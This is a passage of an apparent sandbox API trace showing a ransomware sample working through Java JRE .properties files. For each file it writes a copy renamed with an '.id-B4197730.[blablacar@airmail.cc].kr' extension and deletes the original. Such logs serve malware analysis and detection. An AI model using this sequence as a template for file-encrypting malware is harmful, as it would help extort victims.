(lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0179.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0179.275] lstrlenW (lpString=".doc") returned 4 [0179.275] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0179.275] lstrlenW (lpString=".docx") returned 5 [0179.275] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0179.275] lstrlenW (lpString=".pdf") returned 4 [0179.275] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0179.275] lstrlenW (lpString=".xls") returned 4 [0179.275] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0179.275] lstrlenW (lpString=".xlsx") returned 5 [0179.275] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0179.275] lstrlenW (lpString=".ppt") returned 4 [0179.275] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0179.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0179.275] lstrlenW (lpString=".zip") returned 4 [0179.275] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0179.275] lstrlenW (lpString=".rar") returned 4 [0179.275] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0179.275] lstrlenW (lpString=".bz2") returned 4 [0179.275] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0179.275] lstrlenW (lpString=".7z") returned 3 [0179.275] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0179.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0179.275] lstrlenW (lpString=".dbf") returned 4 [0179.275] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0179.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0179.275] lstrlenW (lpString=".1cd") returned 4 [0179.275] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0179.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0179.276] lstrlenW (lpString=".jpg") returned 4 [0179.276] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0179.276] lstrcmpiW (lpString1=".properties", lpString2=".kr") returned 1 [0179.276] lstrlenW (lpString="messages_ko.properties") returned 22 [0179.276] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0179.286] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=5712) returned 1 [0179.286] CloseHandle (hObject=0x454) returned 1 [0179.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 0x20 [0179.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0179.287] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0179.287] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.287] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.287] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0179.288] GetLastError () returned 0x0 [0179.288] ReadFile (in: hFile=0x454, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x1650, lpOverlapped=0x0) returned 1 [0179.289] WriteFile (in: hFile=0x458, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x1660, lpOverlapped=0x0) returned 1 [0179.291] ReadFile (in: hFile=0x454, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.291] WriteFile (in: hFile=0x458, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x100, lpOverlapped=0x0) returned 1 [0179.291] SetEndOfFile (hFile=0x458) returned 1 [0179.291] CloseHandle (hObject=0x458) returned 1 [0179.292] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.292] SetEndOfFile (hFile=0x454) returned 1 [0179.295] CloseHandle (hObject=0x454) returned 1 [0179.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0179.296] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 1 [0179.296] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0179.296] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0179.296] lstrlenW (lpString=".doc") returned 4 [0179.296] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0179.296] lstrlenW (lpString=".docx") returned 5 [0179.296] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0179.296] lstrlenW (lpString=".pdf") returned 4 [0179.296] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0179.296] lstrlenW (lpString=".xls") returned 4 [0179.296] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0179.296] lstrlenW (lpString=".xlsx") returned 5 [0179.296] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0179.296] lstrlenW (lpString=".ppt") returned 4 [0179.296] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0179.296] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0179.296] lstrlenW (lpString=".zip") returned 4 [0179.296] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0179.297] lstrlenW (lpString=".rar") returned 4 [0179.297] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0179.297] lstrlenW (lpString=".bz2") returned 4 [0179.297] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0179.297] lstrlenW (lpString=".7z") returned 3 [0179.297] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0179.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0179.297] lstrlenW (lpString=".dbf") returned 4 [0179.297] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0179.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0179.297] lstrlenW (lpString=".1cd") returned 4 [0179.297] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0179.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0179.297] lstrlenW (lpString=".jpg") returned 4 [0179.297] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0179.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0179.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0179.297] lstrlenW (lpString=".doc") returned 4 [0179.297] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0179.297] lstrlenW (lpString=".docx") returned 5 [0179.297] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0179.297] lstrlenW (lpString=".pdf") returned 4 [0179.297] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0179.297] lstrlenW (lpString=".xls") returned 4 [0179.297] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0179.297] lstrlenW (lpString=".xlsx") returned 5 [0179.297] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0179.297] lstrlenW (lpString=".ppt") returned 4 [0179.297] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0179.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0179.297] lstrlenW (lpString=".zip") returned 4 [0179.297] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0179.297] lstrlenW (lpString=".rar") returned 4 [0179.298] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0179.298] lstrlenW (lpString=".bz2") returned 4 [0179.298] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0179.298] lstrlenW (lpString=".7z") returned 3 [0179.298] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0179.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0179.298] lstrlenW (lpString=".dbf") returned 4 [0179.298] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0179.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0179.298] lstrlenW (lpString=".1cd") returned 4 [0179.298] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0179.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0179.298] lstrlenW (lpString=".jpg") returned 4 [0179.298] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0179.298] lstrcmpiW (lpString1=".properties", lpString2=".kr") returned 1 [0179.298] lstrlenW (lpString="messages_pt_BR.properties") returned 25 [0179.298] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0179.299] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=3285) returned 1 [0179.299] CloseHandle (hObject=0x454) returned 1 [0179.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 0x20 [0179.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0179.300] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0179.300] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.300] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.300] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0179.300] GetLastError () returned 0x0 [0179.300] ReadFile (in: hFile=0x454, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0xcd5, lpOverlapped=0x0) returned 1 [0179.302] WriteFile (in: hFile=0x458, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xce0, lpOverlapped=0x0) returned 1 [0179.303] ReadFile (in: hFile=0x454, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.304] WriteFile (in: hFile=0x458, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x106, lpOverlapped=0x0) returned 1 [0179.304] SetEndOfFile (hFile=0x458) returned 1 [0179.304] CloseHandle (hObject=0x458) returned 1 [0179.305] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.305] SetEndOfFile (hFile=0x454) returned 1 [0179.308] CloseHandle (hObject=0x454) returned 1 [0179.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0179.309] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 1 [0179.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0179.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0179.309] lstrlenW (lpString=".doc") returned 4 [0179.309] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0179.309] lstrlenW (lpString=".docx") returned 5 [0179.309] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0179.309] lstrlenW (lpString=".pdf") returned 4 [0179.309] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0179.309] lstrlenW (lpString=".xls") returned 4 [0179.309] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0179.309] lstrlenW (lpString=".xlsx") returned 5 [0179.309] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0179.309] lstrlenW (lpString=".ppt") returned 4 [0179.309] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0179.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0179.310] lstrlenW (lpString=".zip") returned 4 [0179.310] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0179.310] lstrlenW (lpString=".rar") returned 4 [0179.310] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0179.310] lstrlenW (lpString=".bz2") returned 4 [0179.310] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0179.310] lstrlenW (lpString=".7z") returned 3 [0179.310] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0179.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0179.310] lstrlenW (lpString=".dbf") returned 4 [0179.310] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0179.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0179.310] lstrlenW (lpString=".1cd") returned 4 [0179.310] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0179.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0179.310] lstrlenW (lpString=".jpg") returned 4 [0179.310] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0179.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0179.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0179.310] lstrlenW (lpString=".doc") returned 4 [0179.310] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0179.310] lstrlenW (lpString=".docx") returned 5 [0179.310] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0179.310] lstrlenW (lpString=".pdf") returned 4 [0179.310] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0179.310] lstrlenW (lpString=".xls") returned 4 [0179.311] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0179.311] lstrlenW (lpString=".xlsx") returned 5 [0179.311] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0179.311] lstrlenW (lpString=".ppt") returned 4 [0179.311] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0179.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0179.311] lstrlenW (lpString=".zip") returned 4 [0179.311] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0179.311] lstrlenW (lpString=".rar") returned 4 [0179.311] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0179.311] lstrlenW (lpString=".bz2") returned 4 [0179.311] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0179.311] lstrlenW (lpString=".7z") returned 3 [0179.311] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0179.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0179.311] lstrlenW (lpString=".dbf") returned 4 [0179.311] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0179.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0179.311] lstrlenW (lpString=".1cd") returned 4 [0179.311] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0179.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0179.311] lstrlenW (lpString=".jpg") returned 4 [0179.311] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0179.311] lstrcmpiW (lpString1=".properties", lpString2=".kr") returned 1 [0179.312] lstrlenW (lpString="messages_sv.properties") returned 22 [0179.312] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0179.312] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=3409) returned 1 [0179.312] CloseHandle (hObject=0x454) returned 1 [0179.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 0x20 [0179.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0179.312] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0179.313] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.313] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.313] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0179.317] GetLastError () returned 0x0 [0179.317] ReadFile (in: hFile=0x454, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0xd51, lpOverlapped=0x0) returned 1 [0179.529] WriteFile (in: hFile=0x458, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xd60, lpOverlapped=0x0) returned 1 [0179.530] ReadFile (in: hFile=0x454, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.530] WriteFile (in: hFile=0x458, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x100, lpOverlapped=0x0) returned 1 [0179.530] SetEndOfFile (hFile=0x458) returned 1 [0179.531] CloseHandle (hObject=0x458) returned 1 [0179.531] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.531] SetEndOfFile (hFile=0x454) returned 1 [0179.586] CloseHandle (hObject=0x454) returned 1 [0179.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0179.587] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 1 [0179.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0179.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0179.588] lstrlenW (lpString=".doc") returned 4 [0179.588] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0179.588] lstrlenW (lpString=".docx") returned 5 [0179.588] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0179.588] lstrlenW (lpString=".pdf") returned 4 [0179.588] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0179.588] lstrlenW (lpString=".xls") returned 4 [0179.588] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0179.588] lstrlenW (lpString=".xlsx") returned 5 [0179.588] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0179.588] lstrlenW (lpString=".ppt") returned 4 [0179.588] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0179.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0179.588] lstrlenW (lpString=".zip") returned 4 [0179.588] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0179.588] lstrlenW (lpString=".rar") returned 4 [0179.588] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0179.588] lstrlenW (lpString=".bz2") returned 4 [0179.588] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0179.588] lstrlenW (lpString=".7z") returned 3 [0179.588] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0179.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0179.588] lstrlenW (lpString=".dbf") returned 4 [0179.588] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0179.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0179.588] lstrlenW (lpString=".1cd") returned 4 [0179.588] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0179.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0179.588] lstrlenW (lpString=".jpg") returned 4 [0179.588] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0179.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0179.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0179.588] lstrlenW (lpString=".doc") returned 4 [0179.588] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0179.589] lstrlenW (lpString=".docx") returned 5 [0179.589] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0179.589] lstrlenW (lpString=".pdf") returned 4 [0179.589] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0179.589] lstrlenW (lpString=".xls") returned 4 [0179.589] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0179.589] lstrlenW (lpString=".xlsx") returned 5 [0179.589] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0179.589] lstrlenW (lpString=".ppt") returned 4 [0179.589] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0179.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0179.589] lstrlenW (lpString=".zip") returned 4 [0179.589] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0179.589] 